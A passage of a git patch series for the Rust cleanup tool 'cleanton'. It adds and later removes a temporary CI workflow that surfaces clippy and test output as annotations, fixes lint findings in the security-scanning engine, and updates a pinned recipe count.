); diff --git a/crates/cleanton-engine/src/security.rs b/crates/cleanton-engine/src/security.rs index 7be1a3b..1412e4e 100644 --- a/crates/cleanton-engine/src/security.rs +++ b/crates/cleanton-engine/src/security.rs @@ -2021,8 +2021,7 @@ fn push_go_package(dir: &Path, out: &mut Vec) { /// Advice shown instead of a package-manager command when a *persistence file* /// is flagged. There is nothing to uninstall: the file is the user's own, and /// the fix is to delete the one line that was added, not the file. -const PERSISTENCE_REMEDY: &str = \ - "This file is yours, not a package: open it, delete the flagged line, and \ +const PERSISTENCE_REMEDY: &str = "This file is yours, not a package: open it, delete the flagged line, and \ mark it reviewed. Do not delete the whole file."; /// Shell startup files whose basename marks them as per-login/per-shell hooks. diff --git a/crates/cleanton-ui/src/screens/security.rs b/crates/cleanton-ui/src/screens/security.rs index 1adfe5d..bd3ce8d 100644 --- a/crates/cleanton-ui/src/screens/security.rs +++ b/crates/cleanton-ui/src/screens/security.rs @@ -526,10 +526,7 @@ fn render_help(f: &mut Frame, app: &App, area: Rect) { .fg(app.theme.danger) .add_modifier(Modifier::BOLD), ), - Span::styled( - "Confirm ", - Style::default().fg(app.theme.fg), - ), + Span::styled("Confirm ", Style::default().fg(app.theme.fg)), Span::styled( "[n] ", Style::default() From 02f36df5630443bd147a01bc675cd6f3f0fc3378 Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 17:24:33 +0000 Subject: [PATCH 3/9] TEMP: surface clippy output as check annotations Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- .github/workflows/clippy-debug.yml | 60 ++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 .github/workflows/clippy-debug.yml diff --git a/.github/workflows/clippy-debug.yml b/.github/workflows/clippy-debug.yml new file mode 100644 index 0000000..2c97693 --- /dev/null +++ b/.github/workflows/clippy-debug.yml @@ -0,0 +1,60 @@ +# TEMPORARY debugging workflow — deleted once the clippy findings are fixed. +# +# CI logs live on Azure Blob, which is unreachable from the agent sandbox, so +# `gh run view --log` cannot show why the clippy gate failed. This job re-runs +# the same command and re-emits the output as check annotations, which ARE +# readable through the GitHub API. +name: Clippy debug + +on: + pull_request: + branches: [main] + +permissions: + contents: read + +jobs: + clippy: + name: Clippy output as annotations + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Linux build dependencies + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libatk-bridge2.0-dev libatk1.0-dev libcups2-dev libgdk-pixbuf-2.0-dev \ + libgtk-3-dev libjavascriptcoregtk-4.1-dev libssl-dev libwebkit2gtk-4.1-dev \ + libxkbcommon-dev libxcb1-dev libxrandr-dev libxi-dev + - name: Install Rust toolchain (1.99.1) + uses: dtolnay/rust-toolchain@stable + with: + toolchain: 1.99.1 + components: rustfmt, clippy + - name: Run Swatinem/rust-cache@v2 + uses: Swatinem/rust-cache@v2 + + - name: Clippy + id: clippy + continue-on-error: true + run: cargo clippy --workspace --all-targets --all-features -- -D warnings 2>&1 | tee clippy.log + + - name: Emit output as annotations + if: always() + run: | + python3 - <<'PY' + import os + + try: + text = open("clippy.log", encoding="utf-8", errors="replace").read() + except OSError: + text = "(no clippy.log produced)" + + # Annotations cannot contain raw newlines. + flat = text.replace("%", "%25").replace("\r", "").replace("\n", " ~ ") + chunk = 3000 + total = (len(flat) + chunk - 1) // chunk + for index in range(min(total, 12)): + piece = flat[index * chunk : (index + 1) * chunk] + print(f"::error title=clippy-{index + 1}::{piece}") + PY From ef18a8ec9c8040799b431aa08fe7b45923dad210 Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 17:33:17 +0000 Subject: [PATCH 4/9] TEMP: filter clippy annotations to diagnostics only Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- .github/workflows/clippy-debug.yml | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/.github/workflows/clippy-debug.yml b/.github/workflows/clippy-debug.yml index 2c97693..a6482bd 100644 --- a/.github/workflows/clippy-debug.yml +++ b/.github/workflows/clippy-debug.yml @@ -37,24 +37,35 @@ jobs: - name: Clippy id: clippy continue-on-error: true - run: cargo clippy --workspace --all-targets --all-features -- -D warnings 2>&1 | tee clippy.log + # `--message-format=short` puts file:line:col on every diagnostic line, + # so each finding is self-contained once the progress noise is dropped. + run: cargo clippy --workspace --all-targets --all-features --message-format=short -- -D warnings 2>&1 | tee clippy.log - name: Emit output as annotations if: always() run: | python3 - <<'PY' - import os + import re try: text = open("clippy.log", encoding="utf-8", errors="replace").read() except OSError: text = "(no clippy.log produced)" + text = re.sub(r"\x1b\[[0-9;]*m", "", text) + keep = [ + line.rstrip() + for line in text.splitlines() + if re.search(r"(error|warning)(\[|:)", line) + ] + if not keep: + keep = ["(clippy produced no error/warning lines)"] + # Annotations cannot contain raw newlines. - flat = text.replace("%", "%25").replace("\r", "").replace("\n", " ~ ") - chunk = 3000 + flat = "\n".join(keep).replace("%", "%25").replace("\r", "").replace("\n", " ~ ") + chunk = 2800 total = (len(flat) + chunk - 1) // chunk - for index in range(min(total, 12)): + for index in range(min(total, 20)): piece = flat[index * chunk : (index + 1) * chunk] print(f"::error title=clippy-{index + 1}::{piece}") PY From 12389129b3de85a8aa209c8bea7edeb1051e200e Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 17:38:39 +0000 Subject: [PATCH 5/9] Cover HostPersistence in the baseline identity key Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- crates/cleanton-engine/src/security_baseline.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/cleanton-engine/src/security_baseline.rs b/crates/cleanton-engine/src/security_baseline.rs index 0b76f59..f2f376a 100644 --- a/crates/cleanton-engine/src/security_baseline.rs +++ b/crates/cleanton-engine/src/security_baseline.rs @@ -99,6 +99,10 @@ pub fn identity_key(source: SecurityTargetKind, name: &str) -> String { SecurityTargetKind::RubyGems => "ruby_gems", SecurityTargetKind::CargoRegistry => "cargo_registry", SecurityTargetKind::GoModuleCache => "go_module_cache", + // A persistence file's identity is its own name (`.zshrc`, a launchd + // label), which is already unique on a machine, so it needs no prefix + // of its own beyond the shared source tag. + SecurityTargetKind::HostPersistence => "host_persistence", }; format!("{source_key}:{name}") } From 0c76c89041fecda2453714f010ef1b13e3b2cdbe Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 18:04:30 +0000 Subject: [PATCH 6/9] Fix clippy findings in the new engine code - background.rs: drop the redundant `.into_iter()`; replace `push_str(&format!(..))` with plain appends. - security.rs: fold the two identical `return None` arms into one; move the host-persistence roots into `push_host_persistence_targets` so `discover_default_targets` stays under the line limit; compare file extensions with `Path::extension()` rather than a case-sensitive `ends_with`. Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- crates/cleanton-engine/src/background.rs | 9 ++--- crates/cleanton-engine/src/security.rs | 50 +++++++++++++----------- 2 files changed, 32 insertions(+), 27 deletions(-) diff --git a/crates/cleanton-engine/src/background.rs b/crates/cleanton-engine/src/background.rs index 8a8a2e5..edf3f95 100644 --- a/crates/cleanton-engine/src/background.rs +++ b/crates/cleanton-engine/src/background.rs @@ -367,7 +367,7 @@ const RELIEF_TOP_N: usize = 3; /// safe direction for cleanup advice: it under-promises rather than over-promises. fn sized_dir(path: &Path, budget: &mut usize) -> u64 { let mut total = 0_u64; - for entry in walkdir::WalkDir::new(path).follow_links(false).into_iter() { + for entry in walkdir::WalkDir::new(path).follow_links(false) { if *budget == 0 { break; } @@ -461,10 +461,9 @@ fn disk_advice(used_percent: u8, capacity: &VolumeCapacity, home: &Path) -> Stri .iter() .map(|(name, size)| format!("{name} ({})", human_bytes(*size))) .collect(); - advice.push_str(&format!( - " Biggest reclaimable right now: {}.", - named.join(", ") - )); + advice.push_str(" Biggest reclaimable right now: "); + advice.push_str(&named.join(", ")); + advice.push('.'); advice.push_str( " Run a Cleanton scan to review them, then empty the Trash to actually reclaim the space.", ); diff --git a/crates/cleanton-engine/src/security.rs b/crates/cleanton-engine/src/security.rs index 1412e4e..ec00693 100644 --- a/crates/cleanton-engine/src/security.rs +++ b/crates/cleanton-engine/src/security.rs @@ -822,14 +822,14 @@ impl PackageReport { format!("gem uninstall {name}") } } - SecurityTargetKind::CargoRegistry | SecurityTargetKind::GoModuleCache => { - return None; - } - // A persistence file is the user's own file, not an installed - // package: there is no manager to uninstall it with, and trashing a - // `.zshrc` to fix one line would be the wrong remedy. Cleanton - // surfaces it and leaves the edit to the user. - SecurityTargetKind::HostPersistence => { + // Neither of these has a manager Cleanton can hand the removal to: + // a registry cache entry is not installed software, and a + // persistence file is the user's own file, where trashing a + // `.zshrc` to fix one line would be the wrong remedy. Both are + // surfaced and left to the user. + SecurityTargetKind::CargoRegistry + | SecurityTargetKind::GoModuleCache + | SecurityTargetKind::HostPersistence => { return None; } }; @@ -1591,29 +1591,32 @@ pub fn discover_default_targets() -> Vec { home.join("go/pkg/mod"), ); - // Host persistence. Unlike the entries above these are FILE targets: the - // roots are scanned for persistence-shaped files by - // `enumerate_host_persistence`, never walked as package trees. The home - // directory is one of the roots because that is where the shell startup - // files live; only the handful of names in `PERSISTENCE_FILE_NAMES` is - // picked out of it. + push_host_persistence_targets(&mut targets, &home); + + targets +} + +/// The machine's own persistence surface. Unlike the entries above these are +/// FILE targets: the roots are scanned for persistence-shaped files by +/// `enumerate_host_persistence`, never walked as package trees. `$HOME` is one +/// of the roots because that is where the shell startup files live; only the +/// handful of names in [`PERSISTENCE_FILE_NAMES`] is picked out of it. +fn push_host_persistence_targets(targets: &mut Vec, home: &Path) { push_if_dir( - &mut targets, + targets, SecurityTargetKind::HostPersistence, home.join("Library/LaunchAgents"), ); push_if_dir( - &mut targets, + targets, SecurityTargetKind::HostPersistence, home.join(".config/systemd/user"), ); push_if_dir( - &mut targets, + targets, SecurityTargetKind::HostPersistence, - home.clone(), + home.to_path_buf(), ); - - targets } /// Locate `node_modules` and virtualenv `site-packages` trees under a @@ -2081,9 +2084,12 @@ fn enumerate_host_persistence(target: &SecurityTarget, out: &mut Vec lower.ends_with(".plist"), - PersistenceRoot::SystemdUser => lower.ends_with(".service"), + PersistenceRoot::LaunchAgents => extension.as_deref() == Some("plist"), + PersistenceRoot::SystemdUser => extension.as_deref() == Some("service"), PersistenceRoot::ShellStartup => PERSISTENCE_FILE_NAMES.contains(&lower.as_str()), }; if !wanted || !path.is_file() { From 9cfe4185f6516b60dd6d83eb7e68cf1a63339c21 Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 18:17:00 +0000 Subject: [PATCH 7/9] Use slice::from_ref for the single-package uninstall Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- crates/cleanton-app/src/main.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/cleanton-app/src/main.rs b/crates/cleanton-app/src/main.rs index 62183a3..0754084 100644 --- a/crates/cleanton-app/src/main.rs +++ b/crates/cleanton-app/src/main.rs @@ -4027,7 +4027,8 @@ fn run_security_removal(ui: &AppWindow, index: i32, config: &SharedConfig) { let outcome: Result = worker_runtime().block_on(async move { match manager { Some(kind) => { - let outcome = PackageManagers::uninstall(kind, &[name.clone()]).await; + let outcome = + PackageManagers::uninstall(kind, std::slice::from_ref(&name)).await; if outcome.ok { Ok(match kind { ManagerKind::Npm => format!("`npm uninstall -g {name}` finished."), From 9ab058cdc938aff13fb6d15190657b1c671d4f2e Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 18:30:31 +0000 Subject: [PATCH 8/9] TEMP: also surface test output as annotations Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- .github/workflows/clippy-debug.yml | 34 ++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/.github/workflows/clippy-debug.yml b/.github/workflows/clippy-debug.yml index a6482bd..1005bc9 100644 --- a/.github/workflows/clippy-debug.yml +++ b/.github/workflows/clippy-debug.yml @@ -41,6 +41,40 @@ jobs: # so each finding is self-contained once the progress noise is dropped. run: cargo clippy --workspace --all-targets --all-features --message-format=short -- -D warnings 2>&1 | tee clippy.log + - name: Test + id: test + continue-on-error: true + run: cargo test --workspace --all-features 2>&1 | tee test.log + + - name: Emit test output as annotations + if: always() + run: | + python3 - <<'PY' + import re + + try: + text = open("test.log", encoding="utf-8", errors="replace").read() + except OSError: + text = "(no test.log produced)" + text = re.sub(r"\x1b\[[0-9;]*m", "", text) + keep = [ + line.rstrip() + for line in text.splitlines() + if re.search(r"(error|warning)(\[|:)", line) + or "FAILED" in line + or "panicked at" in line + or line.startswith(("failures:", "test result:", " Running")) + ] + if not keep: + keep = ["(no failure lines found)"] + flat = "\n".join(keep).replace("%", "%25").replace("\r", "").replace("\n", " ~ ") + chunk = 2800 + total = (len(flat) + chunk - 1) // chunk + for index in range(min(total, 20)): + piece = flat[index * chunk : (index + 1) * chunk] + print(f"::error title=test-{index + 1}::{piece}") + PY + - name: Emit output as annotations if: always() run: | From 174aff78c664e0cd15618ebafa56319485d8a682 Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 18:45:04 +0000 Subject: [PATCH 9/9] Bump the pinned built-in recipe count to 153 and drop the debug workflow `builtin_recipe_self_tests_are_valid` pins the number of registered recipes so an unregistered recipe file (or a dangling registration) fails loudly. Adding 12 recipes invalidated it; the count is bumped by hand, as intended. Also removes the temporary workflow that mirrored clippy/test output into check annotations: the gates are readable now. Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- .github/workflows/clippy-debug.yml | 105 ----------------------- crates/cleanton-recipes/src/validator.rs | 7 +- 2 files changed, 5 insertions(+), 107 deletions(-) delete mode 100644 .github/workflows/clippy-debug.yml diff --git a/.github/workflows/clippy-debug.yml b/.github/workflows/clippy-debug.yml deleted file mode 100644 index 1005bc9..0000000 --- a/.github/workflows/clippy-debug.yml +++ /dev/null @@ -1,105 +0,0 @@ -# TEMPORARY debugging workflow — deleted once the clippy findings are fixed. -# -# CI logs live on Azure Blob, which is unreachable from the agent sandbox, so -# `gh run view --log` cannot show why the clippy gate failed. This job re-runs -# the same command and re-emits the output as check annotations, which ARE -# readable through the GitHub API. -name: Clippy debug - -on: - pull_request: - branches: [main] - -permissions: - contents: read - -jobs: - clippy: - name: Clippy output as annotations - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: Install Linux build dependencies - run: | - sudo apt-get update - sudo apt-get install -y --no-install-recommends \ - libatk-bridge2.0-dev libatk1.0-dev libcups2-dev libgdk-pixbuf-2.0-dev \ - libgtk-3-dev libjavascriptcoregtk-4.1-dev libssl-dev libwebkit2gtk-4.1-dev \ - libxkbcommon-dev libxcb1-dev libxrandr-dev libxi-dev - - name: Install Rust toolchain (1.99.1) - uses: dtolnay/rust-toolchain@stable - with: - toolchain: 1.99.1 - components: rustfmt, clippy - - name: Run Swatinem/rust-cache@v2 - uses: Swatinem/rust-cache@v2 - - - name: Clippy - id: clippy - continue-on-error: true - # `--message-format=short` puts file:line:col on every diagnostic line, - # so each finding is self-contained once the progress noise is dropped. - run: cargo clippy --workspace --all-targets --all-features --message-format=short -- -D warnings 2>&1 | tee clippy.log - - - name: Test - id: test - continue-on-error: true - run: cargo test --workspace --all-features 2>&1 | tee test.log - - - name: Emit test output as annotations - if: always() - run: | - python3 - <<'PY' - import re - - try: - text = open("test.log", encoding="utf-8", errors="replace").read() - except OSError: - text = "(no test.log produced)" - text = re.sub(r"\x1b\[[0-9;]*m", "", text) - keep = [ - line.rstrip() - for line in text.splitlines() - if re.search(r"(error|warning)(\[|:)", line) - or "FAILED" in line - or "panicked at" in line - or line.startswith(("failures:", "test result:", " Running")) - ] - if not keep: - keep = ["(no failure lines found)"] - flat = "\n".join(keep).replace("%", "%25").replace("\r", "").replace("\n", " ~ ") - chunk = 2800 - total = (len(flat) + chunk - 1) // chunk - for index in range(min(total, 20)): - piece = flat[index * chunk : (index + 1) * chunk] - print(f"::error title=test-{index + 1}::{piece}") - PY - - - name: Emit output as annotations - if: always() - run: | - python3 - <<'PY' - import re - - try: - text = open("clippy.log", encoding="utf-8", errors="replace").read() - except OSError: - text = "(no clippy.log produced)" - - text = re.sub(r"\x1b\[[0-9;]*m", "", text) - keep = [ - line.rstrip() - for line in text.splitlines() - if re.search(r"(error|warning)(\[|:)", line) - ] - if not keep: - keep = ["(clippy produced no error/warning lines)"] - - # Annotations cannot contain raw newlines. - flat = "\n".join(keep).replace("%", "%25").replace("\r", "").replace("\n", " ~ ") - chunk = 2800 - total = (len(flat) + chunk - 1) // chunk - for index in range(min(total, 20)): - piece = flat[index * chunk : (index + 1) * chunk] - print(f"::error title=clippy-{index + 1}::{piece}") - PY diff --git a/crates/cleanton-recipes/src/validator.rs b/crates/cleanton-recipes/src/validator.rs index 8b06b37..e612f6e 100644 --- a/crates/cleanton-recipes/src/validator.rs +++ b/crates/cleanton-recipes/src/validator.rs @@ -514,8 +514,11 @@ mod tests { let recipes = RecipeSet::load_builtin().expect("built-in recipes should validate"); // Every recipe file must be registered in builtin.rs (checked offline by - // scripts/validate-recipes.py too) and must self-validate. - assert_eq!(recipes.len(), 141); + // scripts/validate-recipes.py too) and must self-validate. The count is + // pinned deliberately: adding a recipe without registering it (or the + // reverse) is exactly the mistake this assertion catches, so it must be + // bumped by hand. + assert_eq!(recipes.len(), 153); } #[test]